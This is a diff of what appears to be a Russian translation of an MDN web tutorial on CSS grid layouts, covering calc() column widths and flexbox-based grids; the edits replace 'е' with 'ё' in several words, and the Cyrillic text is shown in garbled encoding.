ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ расчёт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Ρ€Π°Π·Π½Ρ‹Π΅ Π΅Π΄ΠΈΠ½ΠΈΡ†Ρ‹, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Β«Π― Ρ…ΠΎΡ‡Ρƒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ высота этого элСмСнта всСгда Π±Ρ‹Π»Π° Π½Π° 100% ΠΎΡ‚ высоты родитСля, минус 50 пиксСлСй». Π‘ΠΌ. <a href="https://developer.mozilla.org/en-US/docs/Web/API/MediaStream_Recording_API/Using_the_MediaStream_Recording_API#Keeping_the_interface_constrained_to_the_viewport_regardless_of_device_height_with_calc()">этот ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΈΠ· ΡƒΡ‡Π΅Π±Π½ΠΈΠΊΠ° API MediaRecorder</a>.</p>
-<p>Π’ любом случаС, вСрнСмся ΠΊ нашим сСтям! Π›ΡŽΠ±ΠΎΠΉ столбСц, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ Π±ΠΎΠ»Π΅Π΅ ΠΎΠ΄Π½ΠΎΠ³ΠΎ столбца нашСй сСтки, ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΠ±Ρ‰ΡƒΡŽ ΡˆΠΈΡ€ΠΈΠ½Ρƒ 6,25%, ΡƒΠΌΠ½ΠΎΠΆΠ΅Π½Π½ΡƒΡŽ Π½Π° количСство столбцов, спарСнных плюс 2.08333333%, ΡƒΠΌΠ½ΠΎΠΆΠ΅Π½Π½ΠΎΠ΅ Π½Π° количСство ΠΆΠ΅Π»ΠΎΠ±ΠΎΠ² (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ всСгда Π±ΡƒΠ΄ΡƒΡ‚ числом столбцов минус 1). Ѐункция <code>calc () </code>позволяСт Π½Π°ΠΌ Π΄Π΅Π»Π°Ρ‚ΡŒ это вычислСниС прямо Π²Π½ΡƒΡ‚Ρ€ΠΈ значСния ΡˆΠΈΡ€ΠΈΠ½Ρ‹, поэтому для любого элСмСнта, ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ 4 столбца, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
+<p>Π’ любом случаС, вСрнёмся ΠΊ нашим сСтям! Π›ΡŽΠ±ΠΎΠΉ столбСц, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ Π±ΠΎΠ»Π΅Π΅ ΠΎΠ΄Π½ΠΎΠ³ΠΎ столбца нашСй сСтки, ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΠ±Ρ‰ΡƒΡŽ ΡˆΠΈΡ€ΠΈΠ½Ρƒ 6,25%, ΡƒΠΌΠ½ΠΎΠΆΠ΅Π½Π½ΡƒΡŽ Π½Π° количСство столбцов, спарСнных плюс 2.08333333%, ΡƒΠΌΠ½ΠΎΠΆΠ΅Π½Π½ΠΎΠ΅ Π½Π° количСство ΠΆΠ΅Π»ΠΎΠ±ΠΎΠ² (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ всСгда Π±ΡƒΠ΄ΡƒΡ‚ числом столбцов минус 1). Ѐункция <code>calc () </code>позволяСт Π½Π°ΠΌ Π΄Π΅Π»Π°Ρ‚ΡŒ это вычислСниС прямо Π²Π½ΡƒΡ‚Ρ€ΠΈ значСния ΡˆΠΈΡ€ΠΈΠ½Ρ‹, поэтому для любого элСмСнта, ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ 4 столбца, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
<pre class="brush: css notranslate">.col.span4 {
width: calc((6.25%*4) + (2.08333333%*3));
@@ -259,11 +259,11 @@ body {
.col.span12 { width: calc((6.25%*12) + (2.08333333%*11)); }</pre>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π½Π°ΡˆΡƒ Π·Π°ΠΊΠΎΠ½Ρ‡Π΅Π½Π½ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ Π² Ρ„Π°ΠΉΠ»Π΅ <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid-calc.html">liquid-grid-calc.html</a> (Ρ‚Π°ΠΊΠΆΠ΅ см. Π΅Π΅ <a href="https://mdn.github.io/learning-area/css/css-layout/grids/fluid-grid-calc.html">Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ</a>).</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π½Π°ΡˆΡƒ Π·Π°ΠΊΠΎΠ½Ρ‡Π΅Π½Π½ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ Π² Ρ„Π°ΠΉΠ»Π΅ <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid-calc.html">liquid-grid-calc.html</a> (Ρ‚Π°ΠΊΠΆΠ΅ см. Π΅Ρ‘ <a href="https://mdn.github.io/learning-area/css/css-layout/grids/fluid-grid-calc.html">Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ</a>).</p>
</div>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Если Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ это Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, это связано с Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ ваш Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>calc ()</code>, хотя ΠΎΠ½ довольно Ρ…ΠΎΡ€ΠΎΡˆΠΎ поддСрТиваСтся Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… - Π΅Ρ‰Π΅ Π² IE9.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Если Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ это Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, это связано с Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ ваш Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>calc ()</code>, хотя ΠΎΠ½ довольно Ρ…ΠΎΡ€ΠΎΡˆΠΎ поддСрТиваСтся Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… - Π΅Ρ‰Ρ‘ Π² IE9.</p>
</div>
<h3 id="БСмантичСскиС_ΠΈ_нСсСмантичСскиС_сСтчатыС_систСмы">БСмантичСскиС ΠΈ "нСсСмантичСскиС" сСтчатыС систСмы</h3>
@@ -326,13 +326,13 @@ body {
<p>Π’Π°ΠΊΠΆΠ΅ ΠΈΠΌΠ΅ΠΉΡ‚Π΅ Π² Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ Ссли содСрТимоС элСмСнтов становится ΡˆΠΈΡ€Π΅, Ρ‡Π΅ΠΌ Π·Π°Π½ΠΈΠΌΠ°Π΅ΠΌΡ‹Π΅ ΠΈΠΌ строки, ΠΎΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ ΠΈ выглядит ΠΊΠ°ΠΊ бСспорядок.</p>
-<p>Π‘Π°ΠΌΠΎΠ΅ большоС ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠ΅ этой систСмы состоит Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ½Π° ΠΏΠΎ сущСству ΠΎΠ΄Π½ΠΎΠΌΠ΅Ρ€Π½Π°. ΠœΡ‹ ΠΈΠΌΠ΅Π΅ΠΌ Π΄Π΅Π»ΠΎ со столбцами ΠΈ ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅ΠΌ элСмСнты ΠΏΠΎ столбцам, Π½ΠΎ Π½Π΅ ΠΏΠΎ строкам. Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ этих старых ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΠΈ ΠΎΡ‡Π΅Π½ΡŒ слоТно ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ высоту элСмСнтов Π±Π΅Π· явной установки высоты, ΠΈ это Ρ‚ΠΎΠΆΠ΅ ΠΎΡ‡Π΅Π½ΡŒ Π½Π΅Π³ΠΈΠ±ΠΊΠΈΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ - ΠΎΠ½ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ, Ссли Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ваш ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ высоты.</p>
+<p>Π‘Π°ΠΌΠΎΠ΅ большоС ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠ΅ этой систСмы состоит Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ½Π° ΠΏΠΎ сущСству ΠΎΠ΄Π½ΠΎΠΌΠ΅Ρ€Π½Π°. ΠœΡ‹ ΠΈΠΌΠ΅Π΅ΠΌ Π΄Π΅Π»ΠΎ со столбцами ΠΈ ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅ΠΌ элСмСнты ΠΏΠΎ столбцам, Π½ΠΎ Π½Π΅ ΠΏΠΎ строкам. Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ этих старых ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΠΈ ΠΎΡ‡Π΅Π½ΡŒ слоТно ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ высоту элСмСнтов Π±Π΅Π· явной установки высоты, ΠΈ это Ρ‚ΠΎΠΆΠ΅ ΠΎΡ‡Π΅Π½ΡŒ Π½Π΅Π³ΠΈΠ±ΠΊΠΈΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ - ΠΎΠ½ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ, Ссли Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ваш ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ высоты.</p>
<h2 id="Flexbox_grids">Flexbox grids?</h2>
-<p>Если Π²Ρ‹ ΠΏΡ€ΠΎΡ‡Ρ‚Π΅Ρ‚Π΅ Π½Π°ΡˆΡƒ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΡƒΡŽ ΡΡ‚Π°Ρ‚ΡŒΡŽ ΠΎ <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Flexbox">flexbox</a>, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ΄ΡƒΠΌΠ°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ flexbox - идСальноС Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ для создания сСтчатой систСмы. Π’ настоящСС врСмя доступно мноТСство систСм gridbox Π½Π° основС flexbox ΠΈ flexbox ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π΅ΡˆΠΈΡ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΈΠ΅ ΠΈΠ· ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ ΡƒΠΆΠ΅ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΠ»ΠΈ ΠΏΡ€ΠΈ создании нашСй сСтки Π²Ρ‹ΡˆΠ΅.</p>
+<p>Если Π²Ρ‹ ΠΏΡ€ΠΎΡ‡Ρ‚Ρ‘Ρ‚Π΅ Π½Π°ΡˆΡƒ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΡƒΡŽ ΡΡ‚Π°Ρ‚ΡŒΡŽ ΠΎ <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Flexbox">flexbox</a>, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ΄ΡƒΠΌΠ°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ flexbox - идСальноС Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ для создания сСтчатой систСмы. Π’ настоящСС врСмя доступно мноТСство систСм gridbox Π½Π° основС flexbox ΠΈ flexbox ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π΅ΡˆΠΈΡ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΈΠ΅ ΠΈΠ· ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ ΡƒΠΆΠ΅ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΠ»ΠΈ ΠΏΡ€ΠΈ создании нашСй сСтки Π²Ρ‹ΡˆΠ΅.</p>
-<p>Однако flexbox Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ разрабатывался ΠΊΠ°ΠΊ сСтчатая систСма ΠΈ создаСт Π½ΠΎΠ²Ρ‹ΠΉ Π½Π°Π±ΠΎΡ€ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ ΠΏΡ€ΠΈ использовании Π² качСствС ΠΎΠ΄Π½ΠΎΠ³ΠΎ. Π’ качСствС простого ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΡ‚ ΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ использовали Π²Ρ‹ΡˆΠ΅, ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ CSS для стилСй классов-ΠΎΠ±ΠΎΠ»ΠΎΡ‡Π΅ΠΊ (<code>wrapper</code>), <code>row</code> ΠΈ <code>col</code> классов:</p>
+<p>Однако flexbox Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ разрабатывался ΠΊΠ°ΠΊ сСтчатая систСма ΠΈ создаёт Π½ΠΎΠ²Ρ‹ΠΉ Π½Π°Π±ΠΎΡ€ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ ΠΏΡ€ΠΈ использовании Π² качСствС ΠΎΠ΄Π½ΠΎΠ³ΠΎ. Π’ качСствС простого ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΡ‚ ΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ использовали Π²Ρ‹ΡˆΠ΅, ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ CSS для стилСй классов-ΠΎΠ±ΠΎΠ»ΠΎΡ‡Π΅ΠΊ (<code>wrapper</code>), <code>row</code> ΠΈ <code>col</code> классов:</p>
<pre class="brush: css notranslate">body {
width: 90%;
@@ -357,9 +357,9 @@ body {
background: rgb(255,150,150);
}</pre>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ эти Π·Π°ΠΌΠ΅Π½Ρ‹ Π² своСм собствСнном ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΈΠ»ΠΈ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π½Π° наш ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΊΠΎΠ΄Π° <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/flexbox-grid.html">flexbox-grid.html </a>(см. Ρ‚Π°ΠΊΠΆΠ΅ <a href="https://mdn.github.io/learning-area/css/css-layout/grids/flexbox-grid.html">ΠΎΠ½ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ</a>).</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ эти Π·Π°ΠΌΠ΅Π½Ρ‹ Π² своём собствСнном ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΈΠ»ΠΈ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π½Π° наш ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΊΠΎΠ΄Π° <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/flexbox-grid.html">flexbox-grid.html </a>(см. Ρ‚Π°ΠΊΠΆΠ΅ <a href="https://mdn.github.io/learning-area/css/css-layout/grids/flexbox-grid.html">ΠΎΠ½ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ</a>).</p>
-<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ ΠΏΡ€Π΅Π²Ρ€Π°Ρ‰Π°Π΅ΠΌ ΠΊΠ°ΠΆΠ΄ΡƒΡŽ строку Π² Π³ΠΈΠ±ΠΊΠΈΠΉ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€. Π‘ сСткой Π½Π° основС flexbox Π½Π°ΠΌ всС Π΅Ρ‰Π΅ Π½ΡƒΠΆΠ½Ρ‹ строки, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ ΠΈΠΌΠ΅Ρ‚ΡŒ элСмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ ΠΌΠ΅Π½Π΅Π΅ 100%. ΠœΡ‹ установили этот ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ для <code>display: flex</code>.</p>
+<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ ΠΏΡ€Π΅Π²Ρ€Π°Ρ‰Π°Π΅ΠΌ ΠΊΠ°ΠΆΠ΄ΡƒΡŽ строку Π² Π³ΠΈΠ±ΠΊΠΈΠΉ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€. Π‘ сСткой Π½Π° основС flexbox Π½Π°ΠΌ всС Π΅Ρ‰Ρ‘ Π½ΡƒΠΆΠ½Ρ‹ строки, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ ΠΈΠΌΠ΅Ρ‚ΡŒ элСмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ ΠΌΠ΅Π½Π΅Π΅ 100%. ΠœΡ‹ установили этот ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ для <code>display: flex</code>.</p>
<p>На <code>.col </code>ΠΌΡ‹ устанавливаСм ΠΏΠ΅Ρ€Π²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства {{cssxref ("flex")}} ({{cssxref ("flex-grow")}}) Π΄ΠΎ 1, Ρ‡Ρ‚ΠΎΠ±Ρ‹ наши ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΌΠΎΠ³Π»ΠΈ расти, Π²Ρ‚ΠΎΡ€ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ({{cssxref (" flex-shrink ")}}) Π΄ΠΎ 1, поэтому элСмСнты ΠΌΠΎΠ³ΡƒΡ‚ ΡΠΎΠΊΡ€Π°Ρ‰Π°Ρ‚ΡŒΡΡ, Π° Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ({{cssxref (" flex-basis ")}}) - <code>auto</code>. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ наш элСмСнт ΠΈΠΌΠ΅Π΅Ρ‚ Π½Π°Π±ΠΎΡ€ {{cssxref ("width")}}, <code>auto</code> Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эту ΡˆΠΈΡ€ΠΈΠ½Ρƒ Π² качСствС Π±Π°Π·ΠΎΠ²ΠΎΠ³ΠΎ значСния flex (<code>flex-basis</code>).</p>
@@ -373,11 +373,11 @@ body {
<p>Flexbox являСтся <strong>ΠΎΠ΄Π½ΠΎΠΌΠ΅Ρ€Π½Ρ‹ΠΌ</strong> ΠΏΠΎ Π΄ΠΈΠ·Π°ΠΉΠ½Ρƒ. Он ΠΈΠΌΠ΅Π΅Ρ‚ Π΄Π΅Π»ΠΎ с ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ·ΠΌΠ΅Ρ€Π΅Π½ΠΈΠ΅ΠΌ - со строкой ΠΈΠ»ΠΈ столбцом. ΠœΡ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅ΠΌ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΡΡ‚Ρ€ΠΎΠ³ΡƒΡŽ сСтку для столбцов ΠΈ строк, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Ссли ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ flexbox для нашСй сСтки, Π½Π°ΠΌ всС Ρ€Π°Π²Π½ΠΎ Π½ΡƒΠΆΠ½ΠΎ Ρ€Π°ΡΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Ρ‹, ΠΊΠ°ΠΊ для ΠΏΠ»Π°Π²Π°ΡŽΡ‰Π΅Π³ΠΎ ΠΌΠ°ΠΊΠ΅Ρ‚Π°.</p>
-<p>Π’ вашСм ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π΅ Π²Ρ‹ всС Ρ€Π°Π²Π½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ сСтку flexbox ΠΈΠ·-Π·Π° Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… возмоТностСй выравнивания ΠΈ распрСдСлСния пространства. Flexbox обСспСчиваСт Π½Π°Π΄ΠΏΠ»Π°Π²ΠΊΠΈ. Однако Π²Π°ΠΌ слСдуСт ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ всС Π΅Ρ‰Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ инструмСнт для Ρ‡Π΅Π³ΠΎ-Ρ‚ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ, ΠΊΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, для Ρ‡Π΅Π³ΠΎ ΠΎΠ½ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΡ‡ΡƒΠ²ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ заставляСт вас ΠΏΡ€Ρ‹Π³Π°Ρ‚ΡŒ Ρ‡Π΅Ρ€Π΅Π· Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΎΠ±Ρ€ΡƒΡ‡ΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹ΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅.</p>
